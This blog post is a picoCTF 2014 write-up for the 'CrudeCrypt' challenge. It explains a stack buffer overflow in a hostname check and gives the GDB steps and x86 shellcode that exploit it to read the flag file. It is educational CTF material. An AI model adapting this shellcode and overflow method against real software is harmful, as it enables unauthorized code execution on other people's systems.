Friday, November 14, 2014

picoCTF 2014: CrudeCrypt (binary180)

CrudeCrypt is another 180 point binary exploitation problem. The challenge is based around a command line program which does AES encryption and decryption of files. As always, the goal is to find an exploit a vulnerability to get the flag. Let's take a look, shall we?

 int main(int argc, char **argv) {  
   if(argc < 4) {  
     help();  
     return -1;  
   }
  
   void (*action)(FILE*, FILE*, unsigned char*);
  
   if(strcmp(argv[1], "encrypt") == 0) {  
     action = &encrypt_file;  
     // You shouldn't be able to encrypt files you don't have permission to.  
     setegid(getgid());  
   } else if(strcmp(argv[1], "decrypt") == 0) {  
     action = &decrypt_file;  
   } else {  
     printf("%s is not a valid action.\n", argv[1]);  
     help();  
     return -2;  
   }
  
   char* src_file_path = argv[2];  
   char* out_file_path = argv[3];  
   char* file_password = calloc(1, PASSWORD_LEN);
  
   printf("-=- Welcome to CrudeCrypt 0.1 Beta -=-\n");
  
   FILE *src_file, *out_file;
  
   if((src_file = fopen(src_file_path, "rb")) == NULL) {  
     printf("Could not open input file: %s\n", src_file_path);  
     return -3;  
   }
  
   if((out_file = fopen(out_file_path, "wb")) == NULL) {  
     printf("Could not open output file: %s\n", out_file_path);  
     fclose(src_file); // Make sure to close the input file  
     return -3;  
   }
  
   printf("-> File password: ");  
   fgets(file_password, PASSWORD_LEN, stdin);  
   printf("\n");
  
   unsigned char digest[16];  
   hash_password(digest, file_password);
  
   action(src_file, out_file, digest);
  
   free(file_password);
  
   fclose(src_file);  
   fclose(out_file);
  
   return 0;  
 }  

We can easily deduce the arguments to CrudeCrypt. First is simply the mode of operation, either "encrypt" or "decrypt". Second are the source and destination filenames.

After opening both files, it reads the file password from stdin and computes an MD5 hash of it.Finally, it just calls the necessary function to encrypt or decrypt the given file. Let's look at the encryption and decryption functions (irrelevant parts omitted for space):

 #define HOST_LEN 32
  
 #define MAGIC 0xc0dec0de
  
 #define MIN(a,b) (((a)<(b))?(a):(b))
  
 typedef struct {  
   unsigned int magic_number;  
   unsigned long file_size;  
   char host[HOST_LEN];  
 } file_header;
  
 void safe_gethostname(char *name, size_t len) {  
   gethostname(name, len);  
   name[len-1] = '\0';  
 }
  
 void init_file_header(file_header* header, unsigned long file_size) {  
   header->magic_number = MAGIC;  
   header->file_size = file_size;  
 }
  
 void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {  
   int size = file_size(raw_file);  
   size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);  
   char* padded_block = calloc(1, block_size);
  
   file_header header;  
   init_file_header(&header, size);  
   safe_gethostname(header.host, HOST_LEN);
  
   memcpy(padded_block, &header, sizeof(file_header));  
   fread(padded_block + sizeof(file_header), 1, size, raw_file);
  
   if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {  
     printf("There was an error encrypting the file!\n");  
     return;  
   }
  
   printf("=> Encrypted file successfully\n");  
   fwrite(padded_block, 1, block_size, enc_file);
  
   free(padded_block);  
 }
  
 bool check_hostname(file_header* header) {  
   char saved_host[HOST_LEN], current_host[HOST_LEN];  
   strncpy(saved_host, header->host, strlen(header->host));  
   safe_gethostname(current_host, HOST_LEN);  
   return strcmp(saved_host, current_host) == 0;  
 }
  
 void decrypt_file(FILE* enc_file, FILE* raw_file, unsigned char* key) {  
   int size = file_size(enc_file);  
   char* enc_buf = calloc(1, size);  
   fread(enc_buf, 1, size, enc_file);
  
   if(decrypt_buffer(enc_buf, size, (char*)key, 16) != 0) {  
     printf("There was an error decrypting the file!\n");  
     return;  
   }
  
   char* raw_buf = enc_buf;  
   file_header* header = (file_header*) raw_buf;
  
   if(header->magic_number != MAGIC) {  
     printf("Invalid password!\n");  
     return;  
   }
  
   if(!check_hostname(header)) {  
     printf("[#] Warning: File not encrypted by current machine.\n");  
   }
  
   printf("=> Decrypted file successfully\n");
  
   int write_size = MIN(header->file_size, size - sizeof(file_header));  
   fwrite(raw_buf+sizeof(file_header), 1, write_size, raw_file);
  
   free(enc_buf);  
 }  

encrypt_file() allocates a file header and stores the computer hostname inside. Then it concatenates the data from the input file to encrypt, and runs it through encrypt_buffer(), which performs AES128-CBC encryption on all the data (header and plaintext). After encryption, the ciphertext is written to the output file.
decrypt_file() does the exact inverse of this, reading all the data, decrypting it with the same algorithm, verifying the header, and writing the decrypted data to the output file (not including the header).

There are no obvious bugs in any of those functions, so let's turn to the header verification. The magic number check is straightforward, but how does it check the hostname?

 bool check_hostname(file_header* header) {  
   char saved_host[HOST_LEN], current_host[HOST_LEN];  
   strncpy(saved_host, header->host, strlen(header->host));  
   safe_gethostname(current_host, HOST_LEN);  
   return strcmp(saved_host, current_host) == 0;  
 }  

What do we have here? In order to verify the stored hostname, it first copies it into saved_host, which is a 32-byte buffer stored on the stack. However, in order to determine how many bytes to copy, it calls strlen(header->host), which only stops at the first 0 byte in that string. Since we control the hostname in the file header, we can make check_hostname() copy as many bytes as we want.

So now we just have a regular stack overflow bug. Nothing new, in fact, it's actually quite boring. There's only the caveat that whatever data is in this file will be decrypted before being given to check_hostname(). Luckily, this is an easy problem to deal with. We can make a modified CrudeCrypt binary that simply encrypts whatever data we give it.

The very first thing we should do is figure out which part of the overflowing hostname actually controls the return address. Let's make a CrudeCrypt file full of recognizable patterns, run decryption in GDB, and see which address it crashes at:



 pico59150@shell:~$ gdb --args crude_crypt decrypt data_enc.bin data_out.bin                 
 GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7                                     
 Copyright (C) 2014 Free Software Foundation, Inc.                              
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>                
 This is free software: you are free to change and redistribute it.                      
 There is NO WARRANTY, to the extent permitted by law. Type "show copying"                  
 and "show warranty" for details.                                       
 This GDB was configured as "x86_64-linux-gnu".                                
 Type "show configuration" for configuration details.                             
 For bug reporting instructions, please see:                                 
 <http://www.gnu.org/software/gdb/bugs/>.                                   
 Find the GDB manual and other documentation resources online at:                       
 <http://www.gnu.org/software/gdb/documentation/>.                              
 For help, type "help".                                            
 Type "apropos word" to search for commands related to "word"...                       
 Reading symbols from crude_crypt...(no debugging symbols found)...done.                   
 (gdb) run                                                  
 Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin            
 -=- Welcome to CrudeCrypt 0.1 Beta -=-                                    
 -> File password: h4x                                            
 Program received signal SIGSEGV, Segmentation fault.                             
 0x46464646 in ?? ()                                             
 (gdb)  


According to GDB, the crash is at address 0x46464646, which means that's what the return address was overwritten by. This sequence appears at offset 0x34 in the file, 0x2c bytes into the hostname. So now that we know which part of the hostname represents the return address, we need to figure out the hostname buffer's memory address so we can fill it with shellcode and jump to it properly.

 8048e28: 89 04 24        mov  %eax,(%esp)  
 8048e2b: e8 10 fa ff ff  call  8048840 <strncpy@plt>  

The hostname gets copied in using strncpy(), a call that appears here in the ASM. At 0x08048e28, the first argument to strncpy() (the hostname buffer) gets pushed onto the stack from EAX. If we set a GDB breakpoint here, we can see what's inside EAX.

 (gdb) b *0x08048e28                                             
 Breakpoint 1 at 0x8048e28                                          
 (gdb) run                                                  
 Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin            
 -=- Welcome to CrudeCrypt 0.1 Beta -=-                                    
 -> File password: h4x                                            
 Breakpoint 1, 0x08048e28 in check_hostname ()                                
 (gdb) info registers                                             
 eax      0xffffd630    -10704                                    
 ecx      0x28   40                                          
 edx      0x804c368    134529896                                  
 ebx      0xf7dea000    -136404992                                  
 esp      0xffffd600    0xffffd600                                  
 ebp      0xffffd658    0xffffd658                                  
 esi      0x0   0                                          
 edi      0x0   0                                          
 eip      0x8048e28    0x8048e28 <check_hostname+37>                        
 eflags     0x202  [ IF ]                                        
 cs       0x23   35                                          
 ss       0x2b   43                                          
 ds       0x2b   43                                          
 es       0x2b   43                                          
 fs       0x0   0                                          
 gs       0x63   99                                          
 (gdb)  

The address in the official binary is actually slightly offset from what's shown here. I tracked it down to 0xffffd610, which does work with infinite loop shellcode. The program freezes until we quit with Ctrl-C:
















With the address of the buffer down, we now have everything needed to write shellcode again. I have a piece of ASM for getting flag.txt that I used in almost every binary exploitation challenge, with only minor changes for each challenge. This ASM uses the int 0x80 Linux syscall interface to open, read, and print out the flag. In this case, though, we need a slightly more substantial change, since the return address divides the shellcode into two pieces:

 [BITS 32]  
 start:  
      mov ebp, 0xffffd610  
      xor eax, eax  
      mov al, 5  
      lea ebx, [ebp + 0x39]  
      xor edx, edx  
      mov [ebp + 0x41], dl  
      xor ecx, ecx  
      int 0x80  
      mov ebx, eax  
      xor eax, eax  
      mov al, 3  
      lea ecx, [ebp + 0x44]  
      xor edx, edx  
      mov dl, 36  
      int 0x80  
      lea esi, [ebp + 0x30]  
      call esi  
      nop  
      nop  
      nop  
 retaddr:  
      nop  
      nop  
      nop  
      nop  
 continue:  
      xor eax, eax  
      mov al, 4  
      xor ebx, ebx  
      inc ebx  
      int 0x80  
 filename db "flag.txta"  
 data:  


Aside from this, it's the exact same shellcode I used to exploit Nevernote. Now we can assemble our shellcode and copy it into the file. We should end up with this:
















Encrypt it for use with CrudeCrypt, run the decryption, and we get this:

 pico59150@shell:~$ ./encrypt encrypt data.bin data_enc.bin                          
 -=- Welcome to CrudeCrypt 0.1 Beta -=-  
 -> File password: h4x                                            
 => Encrypted file successfully                                        
 pico59150@shell:~$ cd /home/crudecrypt/                                   
 pico59150@shell:/home/crudecrypt$ ./crude_crypt decrypt ~/data_enc.bin ~/data_out.bin            
 -=- Welcome to CrudeCrypt 0.1 Beta -=-  
 -> File password: h4x                                            
 writing_software_is_hard                                           
 þëþëþëþëþëþSegmentation fault (core dumped)                                 
 pico59150@shell:/home/crudecrypt$  

And that gets us another flag! Writing software is indeed hard, who am I to argue with that?

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home